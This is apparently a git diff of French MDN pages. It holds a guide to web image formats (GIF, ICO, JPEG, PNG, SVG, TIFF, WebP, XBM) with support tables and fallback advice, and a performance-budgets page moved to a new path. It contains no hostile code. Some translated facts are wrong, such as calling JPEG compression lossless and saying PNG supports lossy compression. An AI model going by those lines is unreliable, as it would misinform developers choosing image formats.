Couleur indexée8Chaque couleur d'une palette GIF est définie par 8 bits de rouge, de vert et de bleu (24 bits au total par pixel).
Niveau de gris avec alphan/aLe GIF ne fournit pas de format de niveaux de gris spécifique.
Vraie couleur avec alphan/aLe GIF ne prend pas en charge les pixels en couleurs réelles.
-
CompressionSans perte (LZW)
LisenceAlors que le format GIF lui-même est ouvert, l'algorithme de compression LZW était couvert par des brevets jusqu'au début des années 2000. Depuis le 7 juillet 2004, tous les brevets pertinents ont expiré et le format GIF peut être utilisé librement.
- -

ICO (Microsoft Windows icon)

- -

Le format de fichier ICO (Microsoft Windows icon) a été conçu par Microsoft pour les icônes de bureau des systèmes Windows. Cependant, les premières versions d'Internet Explorer ont introduit la possibilité pour un site web de fournir un fichier ICO nommé favicon.ico dans le répertoire racine d'un site web pour spécifier un favicon — une icône à afficher dans le menu Favoris, et d'autres endroits où une représentation iconique du site serait utile.

- -

Un fichier ICO peut contenir plusieurs icônes, et commence par un répertoire contenant des détails sur chacune d'entre elles. Ce répertoire est suivi des données relatives aux icônes. Les données de chaque icône peuvent être soit une image {{anch("BMP")}} sans l'en-tête du fichier, soit une image {{anch("PNG")}} complète (y compris l'en-tête du fichier). Si vous utilisez des fichiers ICO, vous devez utiliser le format BMP, car la prise en charge du format PNG dans les fichiers ICO n'a été ajoutée qu'à partir de Windows Vista et pourrait ne pas être bien prise en charge.

- -
-

Les fichiers ICO ne doivent pas être utilisés dans le contenu Web. En outre, leur utilisation pour les favicons a diminué au profit de l'utilisation d'un fichier PNG et de l'élément {{HTMLElement("link")}}, comme décrit dans {{SectionOnPage("/fr/docs/Apprendre/HTML/Introduction_à_HTML/The_head_metadata_in_HTML", "Ajouter des icônes personnalisées à un site")}} .

-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Type de MIMEimage/vnd.microsoft.icon (officiel), image/x-icon (utilisé par Microsoft)
Extention(s) de fichier(s).ico
Spécification
Compatibilité des navigateursToutes les versions de Chrome, Edge, Firefox, Internet Explorer, Opera et Safari
Dimensions maximum256×256 pixels
Modes de couleur pris en charge - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Icônes au format BMP
Mode de couleurBits par composante (D)Description
Niveau de gris1Chaque bit représente un seul pixel, qui peut être noir ou blanc.
Vraie couleur8 et 16Chaque pixel est représenté par trois valeurs représentant les composantes de couleur rouge, verte et bleue ; chacune d'entre elles est constituée de D bits.
Couleur indexée2, 4, et 8Chaque pixel est représenté par une valeur de 2, 4 ou 8 bits, qui sert d'index dans la table des couleurs.
Niveau de gris avec alphan/aLe BMP n'a pas de format d'échelle de gris distinct.
Vraie couleur avec alpha8 et 16Chaque pixel est représenté par quatre valeurs représentant les composantes de couleur rouge, verte, bleue et alpha ; chacune d'entre elles est constituée de D bits.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Icônes au format PNG
Mode de couleurBits par composante (D)Description
Niveau de gris1, 2, 4, 8 et 16Chaque pixel est constitué d'une seule valeur D-bit indiquant la luminosité du pixel en niveaux de gris.
Vraie couleur8 et 16Chaque pixel est représenté par trois valeurs de D-bit indiquant le niveau des composantes de couleur rouge, verte et bleue.
Couleur indexée1, 2, 4 et 8Chaque pixel est une valeur de D-bit indiquant un index dans une palette de couleurs qui est contenue dans un morceau de PLTE dans le fichier APNG ; les couleurs de la palette utilisent toutes une profondeur de 8 bits.
Niveau de gris avec alpha8 et 16Chaque pixel est représenté par deux valeurs D-bit : l'intensité du pixel en niveaux de gris et un échantillon alpha, indiquant le degré d'opacification du pixel.
Vraie couleur avec alpha8 et 16Chaque pixel est composé de quatre composantes de couleur D-pixel : rouge, vert, bleu, et l'échantillon alpha indiquant le degré d'opacité du pixel.
-
CompressionLes icônes au format BMP utilisent presque toujours une compression sans perte, mais des méthodes avec perte sont disponibles. Les icônes au format PNG sont toujours compressées sans perte.
Lisence—
- -

JPEG (Joint Photographic Experts Group image)

- -

Le {{Glossary("JPEG")}} (typiquement prononcé "j-peg") est actuellement le format de compression avec perte le plus utilisé pour les images fixes. Il est particulièrement utile pour les photographies ; l'application de la compression avec perte au contenu nécessitant de la netteté, comme les diagrammes ou les graphiques, peut produire des résultats insatisfaisants.

- -

Le JPEG est en fait un format de données pour les photos compressées, plutôt qu'un type de fichier. La spécification JFIF (JPEG File Interchange Format) décrit le format des fichiers que nous considérons comme des images "JPEG".

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Type de MIMEimage/jpeg
Extentions(s) de fichier(s).jpg, .jpeg, .jpe, .jif, .jfif
Spécificationjpeg.org/jpeg/
Compatibilité des navigateursToutes les versions de Chrome, Edge, Firefox, Internet Explorer, Opera et Safari
Dimensions maximum65,535×65,535 pixels
Modes de couleur pris en charge - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Mode de couleurBits par composante (D)Description
Niveau de grisn/aLe JPEG n'a pas de mode d'échelle de gris distinct.
Vraie couleur8Chaque pixel est décrit par les composantes de couleur rouge, bleue et verte, chacune d'entre elles étant composée de 8 bits.
Couleur indexéen/aLe JPEG n'offre pas de mode couleur indexé.
Niveau de gris avec alphan/aLe JPEG ne prend pas en charge un canal alpha.
Vraie couleur avec alphan/aLe JPEG ne prend pas en charge un canal alpha.
-
CompressionSans perte; sur la base de la {{interwiki("wikipedia", "transformée en cosinus discrète")}}
LisenceDepuis le 27 octobre 2006, tous les brevets américains ont expiré.
- -

PNG (Portable Network Graphics)

- -

Le {{Glossary('PNG')}} (prononcé "png") utilise une compression sans perte ou avec perte afin de fournir une compression plus efficace, et prend en charge des profondeurs de couleurs plus élevées que {{anch("GIF")}}, ainsi qu'une transparence alpha complète.

- -

Le format PNG est largement soutenu, tous les principaux navigateurs offrant une prise en charge complète de ses fonctionnalités. Internet Explorer, qui a introduit le support PNG dans les versions 4-5, ne l'a pas entièrement pris en charge avant IE 9, et a connu de nombreux bogues tristement célèbres pendant de nombreuses années, y compris dans l'Internet Explorer 6, autrefois omniprésent. Cela a ralenti l'adoption de la PNG, mais elle est maintenant couramment utilisée, surtout lorsqu'il faut reproduire avec précision l'image source.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Type de MIMEimage/png
Extension(s) de fichier(s).png
Spécificationw3.org/TR/PNG
Comptabilité des navigateurs - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeEdgeFirefoxInternet ExplorerOperaSafari
Support de base112153.5.1 (Presto)
- 15 (Blink)		1
Canal Alpha112156 (Presto)
- Toute (Blink)		1
Correction gammanonoui181cassé
Correction des couleursnonoui39nonnon
Entrelacementnon?1cassé3.5.1non
-
Dimensions maximum2,147,483,647×2,147,483,647 pixels
Modes de couleur pris en charge - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Mode de couleurBits par composante (D)Description
Niveau de gris1, 2, 4, 8 et 16Chaque pixel est constitué d'une seule valeur D-bit indiquant la luminosité du pixel en niveaux de gris.
Vraie couleur8 et 16Chaque pixel est représenté par trois valeurs de D-bit indiquant le niveau des composantes de couleur rouge, verte et bleue.
Couleur indexée1, 2, 4 et 8Chaque pixel est une valeur de bit D indiquant un index dans une palette de couleurs qui est contenue dans un morceau de PLTE dans le fichier APNG ; les couleurs de la palette utilisent toutes une profondeur de 8 bits.
Niveau de gris avec alpha8 et 16Chaque pixel est représenté par deux valeurs D-bit : l'intensité du pixel en niveaux de gris et un échantillon alpha, indiquant le degré d'opacification du pixel.
Vraie couleur avec alpha8 et 16Chaque pixel est composé de quatre composantes de couleur D-pixel : rouge, vert, bleu, et l'échantillon alpha indiquant le degré d'opacité du pixel.
-
CompressionCouleur sans perte, éventuellement indexée comme le GIF
Lisence©2003 W3C® (MIT, ERCIM, Keio), Tous Droits Réservés. Les règles du W3C en matière de responsabilité, de marque commerciale, d'utilisation des documents et de licences de logiciels s'appliquent. Pas de brevets porteurs de royalties connus.
- -

SVG (Scalable Vector Graphics)

- -

Le SVG est une base XML pour le format d'{{interwiki("wikipedia", "image vectorielle")}} qui spécifie le contenu d'une image comme un ensemble de commandes de dessin qui créent des formes, des lignes, appliquent des couleurs, des filtres, etc. Les fichiers SVG sont idéaux pour les diagrammes, les icônes et autres images qui peuvent être dessinés avec précision à n'importe quelle taille. En tant que tel, le SVG est populaire pour les éléments d'interface utilisateur dans la conception moderne du Web.

- -

Les fichiers SVG sont des fichiers texte contenant le code source qui, une fois interprété, dessine l'image souhaitée. Par exemple, cet exemple définit une zone de dessin de taille initiale de 100 par 100 unités, contenant une ligne tracée en diagonale à travers la boîte :

- -
<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
-  <line x1="0" y1="80" x2="100" y2="20" stroke="black" />
-</svg>
- -

Le SVG peut être utilisé dans le contenu du web de deux façons :

- -
    -
  1. Vous pouvez directement écrire l'élément {{HTMLElement("svg")}} dans le HTML, contenant des éléments SVG pour dessiner l'image.
    2. -
  2. Vous pouvez afficher une image SVG partout où vous pouvez utiliser les autres types d'images, y compris avec les éléments {{HTMLElement("img")}} et {{HTMLElement("image")}}, les propriété {{cssxref("background-image")}} du CSS, etc.
    3. -
- -

Le SVG est un choix idéal pour les images qui peuvent être représentées à l'aide d'une série de commandes de dessin, en particulier si la taille à laquelle l'image sera rendue est inconnue ou peut varier, puisque le SVG s'adaptera en douceur à la taille souhaitée. Il n'est généralement pas utile pour les images strictement bitmap ou photographiques, bien qu'il soit possible d'inclure des images bitmap dans un SVG.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Type de MIMEimage/svg+xml
Extension(s) de fichier(s).svg
Specificationw3.org/TR/SVG2
Compatibilité des navigateurs - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeEdgeFirefoxInternet ExplorerOperaSafari
Le support du SVG4123910 (Presto)
- 15 (Blink)		3.2
SVG comme image ({{HTMLElement("img")}} etc)28124910 (Presto)
- 15 (Blink)		9
-
Dimensions maximalesIllimité
Modes de couleur pris en chargeLes couleurs en SVG sont spécifiées à l'aide de syntaxe de couleur CSS.
CompressionLa source SVG peut être compressée pendant le transit en utilisant les techniques de compression HTTP, ou sur disque en tant que fichier .svgz.
Lisence©2018 W3C® (MIT, ERCIM, Keio, Beihang), Tous Droits Réservés. Les règles du W3C en matière de responsabilité, de marque commerciale, d'utilisation des documents et de licences de logiciels s'appliquent. Pas de brevets porteurs de royalties connus.
- -

TIFF (Tagged Image File Format)

- -

{{interwiki("wikipedia", "TIFF")}} est un format de fichier graphique matriciel qui a été créé pour stocker des photos scannées, bien qu'il puisse s'agir de n'importe quel type d'image. Il s'agit d'un format quelque peu "lourd", dans la mesure où les fichiers TIFF ont tendance à être plus volumineux que les images d'autres formats. Cela s'explique par les métadonnées souvent incluses, ainsi que par le fait que la grande majorité des fichiers TIFF ne sont pas compressés. Cependant, les méthodes de compression avec et sans perte sont toutes deux prises en charge par la spécification TIFF.

- -

Chaque valeur d'un fichier TIFF est spécifiée à l'aide de sa balise (indiquant le type d'information dont il s'agit, comme la largeur de l'image) et de son type (indiquant le format dans lequel les données sont stockées), suivis de la longueur du tableau de valeurs à attribuer à cette balise (toutes les propriétés sont stockées dans des tableaux, même pour des valeurs uniques). Cela permet d'utiliser différents types de données pour les mêmes propriétés. Par exemple, la largeur d'une image, ImageWidth, est stockée à l'aide de la balise 0x0100 et est un tableau à une entrée. En précisant le type 3 (SHORT), la valeur de ImageWidth est stockée comme une valeur de 16 bits :

- - - - - - - - - - - - - - - - - - -
BaliseTypeTailleValeur
0x0100
- (ImageWidth)		0x0003
- (SHORT)		0x00000001
- (1 entée)		0x0280
- (640 pixels)
- -

La spécification du type 4 (LONG) enregistre la largeur comme une valeur de 32 bits :

- - - - - - - - - - - - - - - - -
BaliseTypeTailleValeur
0x0100
- (ImageWidth)		0x0004
- (LONG)		0x00000001
- (1 entry)		0x00000280
- (640 pixels)
- -

Un seul fichier TIFF peut contenir plusieurs images ; il peut être utilisé pour représenter des documents de plusieurs pages, par exemple (comme un document de plusieurs pages scanné ou une télécopie reçue). Toutefois, un logiciel qui lit les fichiers TIFF n'est nécessaire que pour prendre en charge la première image.

- -

Le TIFF prend en charge divers espaces de couleur, et pas seulement le RGB. Il s'agit notamment de CMJN, YCbCr et autres, ce qui fait du TIFF un bon choix pour le stockage d'images destinées à la presse écrite, au cinéma ou à la télévision.

- -

Il y a longtemps, certains navigateurs prenaient en charge les images TIFF dans le contenu Web ; aujourd'hui, cependant, vous devez utiliser des bibliothèques spéciales ou des modules complémentaires de navigateur pour le faire. Les fichiers TIFF ne sont donc pas utiles dans le contexte du contenu web, mais il est courant de fournir des fichiers TIFF téléchargeables lors de la distribution de photos et d'autres œuvres d'art destinées à être modifiées ou imprimées avec précision.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Type de MIMEimage/tiff
Extension(s) de fichier(s).tif, .tiff
Spécificationadobe.io/open/standards/TIFF.html
Compatibilité des navigateursAucun navigateur n'intègre la prise en charge du TIFF ; son intérêt réside dans le fait qu'il peut être téléchargé
Dimensions maximum4,294,967,295×4,294,967,295 pixels (théoriquement)
Modes de couleur pris en charge - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Mode de couleurBits par composante (D)Description
Bilevel1Un TIFF à deux niveaux stocke 8 bits dans chaque octet, un bit par pixel. Le champ PhotometricInterpretation indique lequel de 0 et 1 est noir et lequel est blanc.
Niveaux de gris4 et 8Chaque pixel est constitué d'une seule valeur D-bit indiquant la luminosité du pixel en niveaux de gris.
Vraie couleur8Toutes les images RVB en couleurs réelles sont stockées en utilisant 8 bits de rouge, de vert et de bleu.
Couleur indexée4 et 8Chaque pixel est un index dans un enregistrement ColorMap, qui définit les couleurs utilisées dans l'image. La carte des couleurs répertorie toutes les valeurs de rouge, puis toutes les valeurs de vert, puis toutes les valeurs de bleu (plutôt que rgb, rgb, rgb...).
Niveaux de gris avec alpha4 et 8L'information alpha est ajoutée en spécifiant qu'il y a plus de 3 échantillons par pixel dans le champ SamplesPerPixel, et en indiquant le type d'alpha (1 pour une composante alpha pré-multipliée associée, et 2 pour une alpha non associée (une couche séparée) ; cependant, les canaux alpha sont rarement utilisés dans les fichiers TIFF et peuvent ne pas être pris en charge par le logiciel de l'utilisateur.
Vraie couleur avec alpha8L'information alpha est ajoutée en spécifiant qu'il y a plus de 3 échantillons par pixel dans le champ SamplesPerPixel, et en indiquant le type d'alpha (1 pour une composante alpha pré-multipliée associée, et 2 pour une alpha non associée (une couche séparée) ; cependant, les canaux alpha sont rarement utilisés dans les fichiers TIFF et peuvent ne pas être pris en charge par le logiciel de l'utilisateur.
-
CompressionLa plupart des fichiers TIFF ne sont pas compressés, mais les PackBits sans perte et la compression LZW sont pris en charge, tout comme la compression JPEG avec perte.
LisenceAucune licence n'est requise (à l'exception de celles associées aux bibliothèques que vous pourriez utiliser) ; tous les brevets connus ont expiré.
- -

Image WebP

- -

Le WebP prend en charge la compression avec perte via un codage prédictif basé sur le codec vidéo VP8, et la compression sans perte qui utilise des substitutions pour la répétition des données. Les images WebP avec perte sont en moyenne 25 à 35 % plus petites que les images JPEG dont le niveau de compression est visuellement similaire. Les images WebP sans perte sont généralement 26 % plus petites que les mêmes images au format PNG.

- -

WebP prend également en charge l'animation : dans un fichier WebP avec perte, les données d'image sont représentées par un flux binaire VP8, qui peut contenir plusieurs images. Le fichier WebP sans perte contient le fragment ANIM, qui décrit l'animation, et le fragment ANMF, qui représente une image d'une séquence d'animation. Le bouclage est pris en charge.

- -

WebP bénéficie désormais d'un large soutien dans les dernières versions des principaux navigateurs web, bien qu'il ne bénéficie pas d'un soutien historique profond. Fournir une solution de repli au format {{anch("JPEG")}} ou {{anch("PNG")}}, par exemple avec l'élément <picture>.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Type de MIMEimage/webp
Extention(s) de fichier(s).webp
Spécification -

Spécification des conteneurs RIFF (en)
- {{RFC(6386, "Format des données VP8 et guide de décodage")}} (en) (encodage avec perte)
- Spécification du flux binaire sans perte WebP (en)

-
Compatibilité des navigateurs - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
Supprt de WebP avec perte171865non11.10 (Presto)
- 15 (Blink)		non
WebP sans perte23
- 25 sur Android		1865non12.10 (Presto)
- 15 (Blink)		non
Animation321865non19 (Blink)non
-
Dimensions maximum16,383×16,383 pixels
Modes de couleur pris en chargeWebP avec perte stocke l'image au format 8 bits Y'CbCr 4:2:0 (YUV420). WebP sans perte utilise la couleur ARGB 8 bits, chaque composant prenant 8 bits pour un total de 32 bits par pixel.
CompressionSans perte (Huffman, LZ77, ou codes de cache couleur) ou avec perte (VP8).
LicenceAucune licence n'est requise ; le code source est librement accessible.
- -

XBM (X Window System Bitmap file)

- -

Les fichiers XBM (X Bitmap) ont été les premiers à être pris en charge sur le Web, mais ils ne sont plus utilisés et doivent être évités, car leur format peut poser des problèmes de sécurité. Les navigateurs modernes n'ont pas pris en charge les fichiers XBM depuis de nombreuses années, mais lorsqu'il s'agit de contenus plus anciens, vous pouvez en trouver encore.

- -

XBM utilise un extrait de code C pour représenter le contenu de l'image sous la forme d'un tableau d'octets. Chaque image se compose de 2 à 4 directives #define, fournissant la largeur et la hauteur de la carte de bits (et éventuellement le hotspot, si l'image est conçue comme un curseur), suivies d'un tableau de unsigned char, où chaque valeur contient 8 pixels monochromes de 1 bit.

- -

L'image doit être un multiple de 8 pixels de large. Par exemple, le code suivant représente une image XBM de 8 pixels sur 8 pixels, ces pixels étant disposés en damier noir et blanc :

- -
#define square8_width 8
-#define square8_height 8
-static unsigned char square8_bits[] = {
-  0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55
-};
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Type de MIMEimage/xbm, image-xbitmap
Extension(s) de fichier(s).xbm
SpécificationAucune
Compatibilité des navigateursFirefox 1–3.5, Internet Explorer 1–5
Dimensions maximumIllimitée
Modes de couleur pris en charge - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Mode de couleurBits par composantesDescription
Niveaux de gris1Chaque octet contient huit pixels de 1 bit.
Vraie couleurn/an/a
Couleur indexéen/an/a
Niveaux de gris avec alphan/an/a
Vraie couleur avec alphan/an/a
-
CompressionSans pertes
LicenceOpen source
- -

Choisir un format d'image

- -

Il est probablement plus facile de choisir le format d'image le mieux adapté à vos besoins que les formats vidéo, car il existe moins d'options bénéficiant d'un large soutien et chacune d'entre elles tend à avoir un ensemble spécifique de cas d'utilisation.

- -

Photographies

- -

Les photographies se comportent généralement bien avec une compression avec perte (selon la configuration du codeur). Cela fait de {{anch("JPEG")}} et {{anch("WebP")}} de bons choix pour les photographies, le JPEG étant plus compatible mais le WebP offrant peut-être une meilleure compression. Pour maximiser la qualité et réduire le temps de téléchargement, envisagez de fournir à la fois une {{anch("Providing image fallbacks", "solution de repli")}} avec WebP comme premier choix et JPEG comme second. Sinon, le JPEG est le choix le plus sûr pour la compatibilité.

- - - - - - - - - - - - - - -
Meilleurs choixChoix de secours
WebP et JPEGJPEG
- -

Icônes

- -

Pour les images plus petites comme les icônes, utilisez un format sans perte pour éviter la perte de détails dans une image de taille limitée. Si le format WebP sans perte est idéal à cette fin, il n'est pas encore très répandu, de sorte que le format PNG est un meilleur choix, à moins que vous n'offriez une {{anch("Providing image fallbacks", "solution de repli")}}. Si votre image contient moins de 256 couleurs, le GIF est une option, bien que le PNG comprime souvent encore plus petit avec son option de compression indexée (PNG-8).

- -

Si l'icône peut être représentée par des graphiques vectoriels, il faut envisager {{anch("SVG")}}, puisqu'elle s'étend sur plusieurs résolutions et tailles, ce qui est parfait pour une conception réactive. Bien que la prise en charge du SVG soit bonne, il peut être utile de proposer un PNG de secours pour les navigateurs plus anciens.

- - - - - - - - - - - - -
Meilleurs choixChoix de secours
SVG, WebP sans perte, ou PNGPNG
- -

Captures d'écran

- -

À moins que vous ne soyez prêt à faire des compromis sur la qualité, vous devriez utiliser un format sans perte pour les captures d'écran. C'est particulièrement important si votre capture d'écran contient du texte, car le texte devient facilement flou et peu clair sous une compression avec perte.

- -

Le format PNG est probablement le plus adapté, mais le format WebP sans perte est sans doute mieux compressé.

- - - - - - - - - - - - -
Meilleur choixChoix de secours
WebP sans perte ou PNG ;
- JPEG si les artefacts de compression ne sont pas un problème		PNG ou JPEG ;
- GIF pour les captures d'écran à faible nombre de couleurs
- -

Diagrammes, dessins et diagrammes

- -

Pour toute image pouvant être représentée par des graphiques vectoriels, le SVG est le meilleur choix. Sinon, vous devez utiliser un format sans perte comme le PNG. Si vous choisissez un format avec perte, tel que JPEG ou WebP avec perte, pesez soigneusement le niveau de compression pour éviter que le texte ou d'autres formes ne deviennent flous ou imprécis.

- - - - - - - - - - - - -
Meilleur choixChoix de secours
{{anch("SVG")}}{{anch("PNG")}}
- -

Fournir des solutions de repli en matière d'image

- -

Alors que l'élément HTML standard {{HTMLElement("img")}} ne supporte pas les retours de compatibilité pour les images, l'élément {{HTMLElement("picture")}} le fait. <picture> est utilisé comme enveloppe pour un certain nombre d'éléments {{HTMLElement("source")}}, chacun spécifiant une version de l'image dans un format différent ou sous des conditions @media, ainsi qu'un élément <img> qui définit où afficher l'image et le retour à la version par défaut ou "la plus compatible".

- -

Par exemple, si vous affichez un diagramme mieux affiché avec SVG, mais que vous souhaitez offrir une solution de rechange à un PNG ou GIF du diagramme, vous feriez quelque chose comme ceci :

- -
<picture>
-  <source srcset="diagram.svg" type="image/svg+xml">
-  <source srcset="diagram.png" type="image/png">
-  <img src="diagram.gif" width="620" height="540"
-       alt="Diagramme montrant les canaux de données">
-</picture>
-
- -

Vous pouvez spécifier autant de <source>s que vous le souhaitez, bien qu'il vous suffise généralement de 2 ou 3.

- -

Voir aussi

- - diff --git a/files/fr/web/performance/budgets_de_performance/index.html b/files/fr/web/performance/budgets_de_performance/index.html deleted file mode 100644 index 6a7b0d47b4..0000000000 --- a/files/fr/web/performance/budgets_de_performance/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Budgets de performance -slug: Web/Performance/Budgets_de_performance -tags: - - Budget - - Budget Performance - - Performance - - Performance Web -translation_of: Web/Performance/Performance_budgets ---- -

{{draft}}

- -

Un budget de performance est une limite pour éviter les régressions. Il peut s'appliquer à un fichier, un type de fichier, tous les fichiers chargés sur une page, une métrique spécifique (par exemple, Time to Interactive), une métrique personnalisée (par exemple, Time to Hero Element), ou un seuil sur une période de temps.   

- -

Pourquoi ai-je besoin d'un budget de performance?

- -

Un budget existe pour refléter vos objectifs atteignables. C'est un compromis entre l'expérience utilisateur et d'autres indicateurs de performance (par exemple, le taux de conversion).
-
- Ces objectifs peuvent être:

- -
    -
  • Basé sur le timing (par exemple, Time to Interactive, First Contentful Paint).
    • -
  • Basé sur la quantité (par exemple, quantité de fichiers JS / taille totale de l'image).
    • -
  • Basé sur des règles (par exemple, Pagespeed index, Lighthouse score).
    • -
- -

Leur objectif principal est d'éviter les régressions, mais ils peuvent fournir des informations sur les tendances prévisionnelles (c'est-à-dire qu'en septembre, 50% du budget a été dépensé en une semaine).

- -

De plus, il peut découvrir les besoins de développement (c'est-à-dire qu'une grande bibliothèque avec des alternatives plus petites est souvant choisie pour résoudre un problème courant).

- -

Comment définir un budget de performance ?

- -

Un budget doit comprendre 2 niveaux:

- -
    -
  • Attention.
    • -
  • Erreur.
    • -
- -

Le niveau d'avertissement vous permet d'être proactif et de planifier toute dette technologique, sans bloquer le développement ou les déploiements.

- -

Le niveau d'erreur est une limite supérieure, où les changements auront un impact négatif et notable.

- -

Pour commencer, vous devez d'abord mesurer les appareils et les vitesses de connexion d'où viennent vos utilisateurs (par exemple, un appareil Android à ~200$ via une connexion 3G), à l'aide de plusieurs outils. Ces mesures basées sur le temps se traduiront par des budgets de taille de fichier.

- -

Une base de référence par défaut pour réduire le taux de rebond est d'atteindre un Time to Interactive inférieur à 5 secondes en 3G/4G, et inférieur à 2 secondes pour les charges suivantes. Cependant, en fonction des objectifs et du contenu spécifiques de votre site, vous pouvez choisir de vous concentrer sur d'autres mesures.

- -

Pour un site contenant beaucoup de texte, tel qu'un blog ou un site d'actualités, la métrique First Contentful Paint pourrait refléter plus étroitement le comportement de l'utilisateur. (c'est-à-dire à quelle vitesse les utilisateurs peuvent-ils commencer à lire), ce qui informera les budgets spécifiques aux fichiers (par exemple, la taille de la police), et leurs optimisations. (par exemple, utiliser l'affichage des polices pour améliorer les performances perçues).

- -

La valeur ultime d'un budget de performance est de corréler l'impact de la performance sur les objectifs commerciaux ou produits. Lors de la définition des mesures, vous devez vous concentrer sur l'expérience utilisateur, qui dictera non seulement le taux de rebond ou de conversion, mais aussi la probabilité de retour de l'utilisateur.

- -

Comment mettre en œuvre un budget de performance?

- -

Pendant le développement, il existe quelques outils pour effectuer des vérifications sur les actifs nouveaux ou modifiés:

- -
    -
  • Un bundler de modules (par exemple, webpack), possède des fonctionnalités de performance qui vous avertiront lorsque les actifs dépassent les limites spécifiées.
    • -
  • Bundlesize, vous permet de définir et d'exécuter des contrôles de taille de fichier dans votre pipeline CI.
    • -
- -

Les vérifications de la taille des fichiers sont la première ligne de défense contre les régressions, mais la conversion de la taille en mesures temporelles peut être difficile car les environnements de développement peuvent manquer de scripts tiers et d'optimisations généralement fournies par un CDN.

- -

La première étape consiste à définir une base de développement pour chaque branche à comparer et la précision de la différence entre le développement et la production peut être utilisée comme objectif pour mieux correspondre à l'environnement réel.

- -

Le bot Lighthouse s'intègre à Travis CI et peut être utilisé pour collecter des métriques de Lighthouse et de Webpage Test à partir d'une URL de dévloppement. Le bot réussira ou échouera en fonction des scores minimums fournis.

- -

Comment appliquer un budget de performance?

- -

Plus tôt vous pourrez identifier un ajout potentiel poussant le budget, mieux vous pourrez analyser l'état actuel de votre site et identifier les optimisations ou le code inutile.

- -

Cependant, vous devez avoir plusieurs budgets et être dynamique. Ils sont destinés à refléter vos objectifs en cours, mais permettent des risques et des expériences. Par exemple, vous pouvez introduire une fonctionnalité qui augmente le temps de chargement global mais tente d'augmenter l'engagement des utilisateurs. (c'est-à-dire combien de temps un utilisateur reste sur une page ou un site).

- -

Un budget de performance vous aide à protéger le comportement optimal de vos utilisateurs actuels tout en vous permettant d'accéder à de nouveaux marchés et de proposer des expériences personnalisées.

- -

Voir aussi

- - diff --git a/files/fr/web/performance/performance_budgets/index.html b/files/fr/web/performance/performance_budgets/index.html new file mode 100644 index 0000000000..6a7b0d47b4 --- /dev/null +++ b/files/fr/web/performance/performance_budgets/index.html @@ -0,0 +1,81 @@ +--- +title: Budgets de performance +slug: Web/Performance/Budgets_de_performance +tags: + - Budget + - Budget Performance + - Performance + - Performance Web +translation_of: Web/Performance/Performance_budgets +--- +

{{draft}}

+ +

Un budget de performance est une limite pour éviter les régressions. Il peut s'appliquer à un fichier, un type de fichier, tous les fichiers chargés sur une page, une métrique spécifique (par exemple, Time to Interactive), une métrique personnalisée (par exemple, Time to Hero Element), ou un seuil sur une période de temps.   

+ +

Pourquoi ai-je besoin d'un budget de performance?

+ +

Un budget existe pour refléter vos objectifs atteignables. C'est un compromis entre l'expérience utilisateur et d'autres indicateurs de performance (par exemple, le taux de conversion).
+
+ Ces objectifs peuvent être:

+ +
    +
  • Basé sur le timing (par exemple, Time to Interactive, First Contentful Paint).
    • +
  • Basé sur la quantité (par exemple, quantité de fichiers JS / taille totale de l'image).
    • +
  • Basé sur des règles (par exemple, Pagespeed index, Lighthouse score).
    • +
+ +

Leur objectif principal est d'éviter les régressions, mais ils peuvent fournir des informations sur les tendances prévisionnelles (c'est-à-dire qu'en septembre, 50% du budget a été dépensé en une semaine).

+ +

De plus, il peut découvrir les besoins de développement (c'est-à-dire qu'une grande bibliothèque avec des alternatives plus petites est souvant choisie pour résoudre un problème courant).

+ +

Comment définir un budget de performance ?

+ +

Un budget doit comprendre 2 niveaux:

+ +
    +
  • Attention.
    • +
  • Erreur.
    • +
+ +

Le niveau d'avertissement vous permet d'être proactif et de planifier toute dette technologique, sans bloquer le développement ou les déploiements.

+ +

Le niveau d'erreur est une limite supérieure, où les changements auront un impact négatif et notable.

+ +

Pour commencer, vous devez d'abord mesurer les appareils et les vitesses de connexion d'où viennent vos utilisateurs (par exemple, un appareil Android à ~200$ via une connexion 3G), à l'aide de plusieurs outils. Ces mesures basées sur le temps se traduiront par des budgets de taille de fichier.

+ +

Une base de référence par défaut pour réduire le taux de rebond est d'atteindre un Time to Interactive inférieur à 5 secondes en 3G/4G, et inférieur à 2 secondes pour les charges suivantes. Cependant, en fonction des objectifs et du contenu spécifiques de votre site, vous pouvez choisir de vous concentrer sur d'autres mesures.

+ +

Pour un site contenant beaucoup de texte, tel qu'un blog ou un site d'actualités, la métrique First Contentful Paint pourrait refléter plus étroitement le comportement de l'utilisateur. (c'est-à-dire à quelle vitesse les utilisateurs peuvent-ils commencer à lire), ce qui informera les budgets spécifiques aux fichiers (par exemple, la taille de la police), et leurs optimisations. (par exemple, utiliser l'affichage des polices pour améliorer les performances perçues).

+ +

La valeur ultime d'un budget de performance est de corréler l'impact de la performance sur les objectifs commerciaux ou produits. Lors de la définition des mesures, vous devez vous concentrer sur l'expérience utilisateur, qui dictera non seulement le taux de rebond ou de conversion, mais aussi la probabilité de retour de l'utilisateur.

+ +

Comment mettre en œuvre un budget de performance?

+ +

Pendant le développement, il existe quelques outils pour effectuer des vérifications sur les actifs nouveaux ou modifiés:

+ +
    +
